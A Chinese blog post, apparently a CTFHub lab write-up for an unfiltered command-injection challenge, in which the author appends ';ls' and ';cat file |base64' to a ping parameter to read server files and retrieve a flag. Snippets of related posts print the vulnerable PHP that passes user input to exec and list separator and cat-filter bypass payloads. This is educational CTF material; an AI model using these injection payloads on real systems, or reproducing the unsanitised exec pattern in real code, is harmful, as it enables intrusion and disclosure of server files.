CTFHub 命令注入-无过滤

最新推荐文章于 2024-04-02 17:02:25 发布
最新推荐文章于 2024-04-02 17:02:25 发布
阅读量209 收藏 2
点赞数
文章标签： 安全 Powered by 金山文档
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_65766842/article/details/129280815
版权

打开题目

首先执行Is的命令来查看当前目录

?ip=127.0.0.1;ls

我们可以看到当前目录下的文件

看到index文件，直接用cat命令进行读取

?ip=127.0.0.1;cat index.php

打开index文件下的数据

发现没有flag ，查看原本的根目录，发现有个文件没有打开过

运用cat命令并进行base64的命令进行打开

127.0.0.1; cat 1451990653628.php |base64

得到一串base64的编码

解密之后得到flag

m0_65766842
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CTFhub——命令执行
墨子辰的博客
02-04 1245
目录NO.1 无过滤注入NO.2 过滤catNO.3 过滤空格NO.4 过滤目录分隔符NO.5 过滤运算符NO.6 综合过滤练习 NO.1 无过滤注入 <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $cmd = "ping -c 4 {$_GET['ip']}"; exec($cmd, $res); } ?> 代码中没有任何过滤 ?ip=|cat 307092239529587.p
CTFHub -技能树 命令注入-无过滤
qq_45653588的博客
07-24 2023
0X00 命令注入-无过滤 进入页面后给出的源码，题目要求输入IP地址执行ping命令 <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $cmd = "ping -c 4 {$_GET['ip']}"; exec($cmd, $res); } ?> <!DOCTYPE html> <html> <head> <title>CTF
CTFHub-Web-RCE-命令注入
qq_54037445的博客
11-29 2023
1、常见的拼接符1、A;B 先执行A，再执行B2、A & B 简单的拼接3、A | B 显示B的执行结果4、A&&B A执行成功之后才会执行B5、A || B A执行失败之后才会执行B, 在特殊情况下可代替空格2、常见的命令1.type 显示文本文件内容type x:\1.txt //显示x盘下的1.txt文件内容。
CTFhub(eval执行，无过滤，过滤cat，过滤空格，过滤运算符）
最新发布
ndjnddjxn的博客
04-02 765
未发现什么，返回上一级目录？
第四周 ctfhub
plant1234的博客
03-06 274
RCEeval执行:文件包含php://input:远程包含:读取源代码:文件包含:命令注入-无过滤:命令注入-过滤cat:命令注入-过滤空格:命令注入-过滤目录分隔符:命令注入-过滤运算符:命令注入-综合练习: eval执行: 首先打开环境： 根据资料知道： eval会把字符串当作php语言执行 所以： 执行：/?cmd=system(“ls …/”); 没有发现什么，在进行下返回上一目录: 没有发现什么，在进行下返回上一目录: 发现flag文件 cat它 /?cmd=system(“cat%20
ctf-all-in-one
01-30
ctf-all-in-one
ctf-2017-release:BSidesSF CTF 2017版本
05-28
ctf-2017 2017 BSidesSF CTF面临的挑战 内置的 ， ， ， ， 在本地应对挑战 您可以使用docker在本地运行所有挑战。 docker-compose build && docker-compose up -d 挑战将在http://localhost:PORT提供，基于...
CTF-misc工具2-CTF-Tools-masterV1.3.7
08-17
CTF-Tools-master是一个专注于密码编码识别与解码的工具,能自动推断密码的编码类型,并进行解码。 适用人群: 该工具主要适用于参加CTF竞赛的选手,以及对密码编码算法感兴趣的信息安全从业人员。 使用场景: 在CTF竞赛...
命令注入讲解ppt.pptx
08-10
即当恶意黑客进入一个有命令注入漏洞的网页时，他们构造数据同时输入了恶意命令代码，因为系统对此并未过滤，恶意命令代码一并执行，最终导致信息泄露或者正常数据的破坏，甚至可能会导致恶意命令掌控该用户的电脑和...
ctfhub:一些用于CTF环境的Docker
05-14
CTFhub — 基于Docker的CTF学习环境0x00 前言CTFhub是面向所有学习CTF的朋友的环境，不用了解docker原理及知识，仅仅简单执行几条命令即可完成整个平台的搭建。0x01 搭建环境使用CTFhub中的环境的前提条件需要在本地...
CTFHub 命令注入-过滤cat
At0m的博客
01-14 3244
CTFHub 命令注入-过滤cat 第一还是看源码，首先是肯定是过滤了cat关键字，虽然看不太懂，但是才也是这样啊嘻嘻。 但是preg_match_all有三个参数，看一下，这三个参数分别是干什么的： <?php $userinfo = "Name: <b>PHP</b> <br> Title: <b>Programming Language</b>"; preg_match_all ("/<b>(.*)<\/b>/
CTF刷题记录CTFHub-RCE-命令注入
m_de_g的博客
07-24 3778
** CTFHub-RCE-命令注入 ** 一、解题思路 通过输入一些指令，利用某些特定的函数进行的操作，从而达到命令执行攻击的效果。 1.无任何的过滤 因为没有任何的过滤，那么我们可以直接使用分号(;)闭合前面的语句，执行ls命令 http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls 通过执行ls命令可以看到，该目下的文件，这是linux环境下 如果是window环境下，使用命令dir查看目录文件 我
CTFhub RCE解题思路
kindyyy的博客
05-16 443
命令注入——无过滤 先打开题目: 没有过滤
CTFHub技能树RCE命令注入
szgyunyun的博客
03-19 5176
1.命令注入 // 关键代码 <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip， $cmd = "ping -c 4 {$_GET['ip']}";// 运行命令，可以拼接 exec($cmd, $res);// 执行cmd，把结果输出到res } if ($res) { ...
CTF命令执行及绕过技巧
热门推荐
JBlock的博客
03-07 2万+
前言 今天是代码审计部分的一个技巧补充!前些阵子做了sql注入回顾篇系列！今天开启php代码审计系列！ 今天内容主要是CTF中命令注入及绕过的一些技巧！以及构成RCE的一些情景！ 文章目录前言正文代码执行代码执行的几种方式命令执行常见命令执行函数绕过姿势敏感字符绕过处理无回显的命令执行Think one Think 正文 在详细介绍命令注入之前，有一点需要注意：命令注入与远程代码执行不同。他们的区...
CTF RCE漏洞
nobugnomoney的博客
09-17 4339
RCE知识点: rce分为远程执行ping，和远程代码执行evel。 漏洞出现原因：未在输入口做输入处理。 涉及到ping命令:ping是windows，linux系统下的一个命令，ping也属于一个通信协议，是TCP/IP协议的一部分，利用ping命令可以检查网络是否连通，可以很好的帮助我们分析和判定网络故障。 PHP 执行系统外部命令 system() exec() passthru() PHP作为一种服务器端的脚本语言，象编写简单，或者是复杂的动态网页这样的任务，它完全能够胜任。但事情不总是如此，有时
CTFHub_技能树_Web之命令注入——“过滤CAT”
Ho1aAs‘s Blog
07-24 976
文章目录使用工具解题过程完 –>CTFHub传送门<– 使用工具 Microsoft Edge v84.0.522.40 中国蚁剑 解题过程 查看源码，把cat指令过滤了，因此要绕开使用cat <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/cat/", $ip, $
CTFhub RCE 命令注入部分
qq_41497476的博客
07-01 1241
这种题其实已经比较熟悉了，使用 |，&&，；等分隔符对前面ping的内容进行隔断，然后执行自己的命令 任意值;ls 发现了除了目录下除了index.php外还有另一个php文件 输入 127.0.0.0;cat 21701615624125.php 发现确实多了个反馈的参数，但是看不到值，很疑惑后面知道了，这是因为cat命令反馈的值无法直接显示 这时有两个方法，一是直接查看源码 源码里是能看到的 第二个方法是直接把命令改为 127.0.0.1;cat 27712282015742.php.
CTFhub命令注入,过滤了cat命令,过滤了空格,过滤目录分隔符,过滤运算符,综合练习
luminous_you的博客
12-09 2796
命令注入 127.0.0.1&ls 127.0.0.1&cat 109131856411048.php 过滤了cat命令之后，你还有什么方法能读到 Flag? 127.0.0.1&ls 127.0.0.1&less flag_2881947412234.php 127.0.0.1&more flag_2881947412234.php 127.0.0.1&head flag_2881947412234.php 127.0.0.1&tail flag_2
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值